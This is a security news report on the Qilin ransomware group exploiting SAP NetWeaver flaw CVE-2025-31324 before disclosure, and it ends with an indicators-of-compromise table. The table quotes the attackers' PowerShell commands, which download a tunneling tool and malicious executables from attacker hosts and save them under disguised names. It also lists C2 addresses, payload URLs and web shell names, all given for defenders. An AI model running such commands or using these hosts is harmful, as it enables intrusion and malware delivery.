Qilin Leverages SAP Zero-Day Vulnerability Prior to Public Disclosure

A critical security breach has come to light revealing that the notorious Russian-speaking ransomware group Qilin exploited a zero-day vulnerability in SAP NetWeaver Visual Composer weeks before its official public disclosure and vendor patch release.

The vulnerability, identified as CVE-2025-31324, centers on the /developmentserver/metadatauploader endpoint, which, due to insufficient authentication controls, allows unauthenticated attackers to upload arbitrary files including web shells into enterprise environments.

SAP assigned this flaw a maximum CVSS score of 10.0, reflecting the triviality of exploitation and the severity of potential outcomes, including full remote code execution (RCE) and system compromise.

Evidence Uncovers Pre-Disclosure Exploitation

Incident response specialists from OP Innovate, investigating a major global enterprise, discovered that attackers had capitalized on this zero-day nearly three weeks before the vulnerability was formally announced.

Initial forensic analysis attributes the campaign to Qilin, a Ransomware-as-a-Service (RaaS) group active since 2022, based on overlap in command-and-control (C2) infrastructure and post-exploitation toolsets, specifically the use of Cobalt Strike beacons and unique malware payloads.

Notably, the attackers leveraged IP addresses and file paths that were later corroborated by Indonesia’s National Cyber and Crypto Agency (BSSN) in their official IOC bulletin for Qilin activity.

Zero-Day Vulnerability
SSN bulletin as Qilin infrastructure

During the attack, Qilin affiliates exploited a misconfigured load balancer that left internal SAP services exposed to the public internet.

They uploaded multiple randomized JSP web shells (e.g., random12.jsp, xxkmszdm.jsp, gpfmddkh.jsp) to the SAP IRJ directory, which were automatically compiled by SAP and enabled unrestricted RCE.

The adversaries subsequently attempted outbound C2 communications with Qilin-linked infrastructure (notably 180.131.145.73 and 184.174.96.74) and staged the deployment of the SOCKS5 tunneling tool rs64c.exe (downloaded as svchost.exe).

Distinct IOCs Link Early Attack

Defensive measures foiled the attackers’ post-exploitation actions: firewall policies blocked C2 traffic, endpoint detection and response (EDR) quarantined payloads, and no observable lateral movement or persistence was achieved.

Attempts to cover tracks by issuing PowerShell Remove-Item commands proved futile, as malicious files had already been contained by security agents.

A second, separate exploitation was observed immediately after the public disclosure of CVE-2025-31324.

While this post-disclosure incident mirrored the initial compromise path using the same vulnerable SAP endpoint to upload web shells and download further executables the infrastructure and toolkits involved were not traceable to Qilin, and all follow-up actions were once again neutralized by network and EDR controls.

The pre-disclosure attack closely paralleled Qilin’s standard operational playbook: initial intrusion via exposed middleware, deployment of commodity post-exploitation frameworks (notably Cobalt Strike), and preparatory deployment of tunneling utilities.

The attack chain, combined with matching IOCs from official intelligence bulletins (including IPs, file hashes, filenames, and PowerShell commands), supports a high-confidence attribution to Qilin’s affiliate ecosystem.

According to the Report, The incident underlines a broader trend of ransomware groups targeting enterprise middleware especially SAP platforms as an initial access vector for staged ransomware delivery.

Organizations are urged to urgently patch all SAP NetWeaver deployments, rigorously restrict public exposure, and strengthen network and endpoint controls to prevent similar exploitation.

Enhanced monitoring for suspicious PowerShell activity, rigorous egress filtering, and proactive IOC integration are recommended to detect and mitigate early-stage attacks.

The use of dedicated vulnerability scanners, such as the WASP tool developed by OP Innovate for SAP NetWeaver, is strongly advised for ongoing enterprise protection.

Indicators of Compromise (IOCs)

IOC TypeIOC / ValueDescription / Notes
File HashD1C43F8DB230BDF18C61D672440EBA12MD5 of test.exe (malicious executable, Bashupload)
File Hash6914B1F5B6843341FAFDFAA9D57818B9MD5 of new test.exe (different URL/hash, Bashupload)
IP Address184.174.96.70Known Qilin IOC, C2/payload host (BSSN bulletin)
IP Address184.174.96.74Staging IP for rs64c.exe tunneler
IP Address180.131.145.73Qilin C2, explicitly cited in intelligence bulletins
URLhttp://184.174.96.74/rs64c.exeDownload location for rs64c.exe
URLhttps://bashupload.com/bSLrt/test.exeMalicious executable, staged as temp.exe
URLhttps://bashupload.com/HUbaF/test.exeMalicious executable, staged as temp_new.exe
Command Linepowershell.exe /c invoke-webrequest http://184.174.96.74/rs64c.exe -OutFile c:\programdata\svchost.exeDownload and stage tunnel tool
Command Linepowershell Invoke-WebRequest -Uri https://bashupload.com/bSLrt/test.exe -OutFile C:\ProgramData\temp.exeBashupload malicious payload
Command LinePowerShell Remove-ItemCleanup attempt for dropped files (random12.jsp, ESC.exe)
Path\usr\sap\PP1\J01\j2ee\cluster\apps\sap.com\irj\servlet_jsp\irj\root\SAP webroot for malicious webshell uploads
File Namesrandom12.jsp, xxkmszdm.jsp, gpfmddkh.jsp, ran_new.jsp, bdtzvjzm.jsp, decoxfiv.jspRandomized JSP webshells uploaded for RCE
File NamesJEE_jsp_bdtzvjzm_1743883325986.classAuto-compiled JSP class file from webshell
File Namestest.exe, ESC.exeMalicious binaries staged/executed via webshells

Find this Story Interesting! Follow us on LinkedIn and X to Get More Instant updates

Mandvi
Mandvi
Mandvi is a Security Reporter covering data breaches, malware, cyberattacks, data leaks, and more at Cyber Press.

Trending News

Related Stories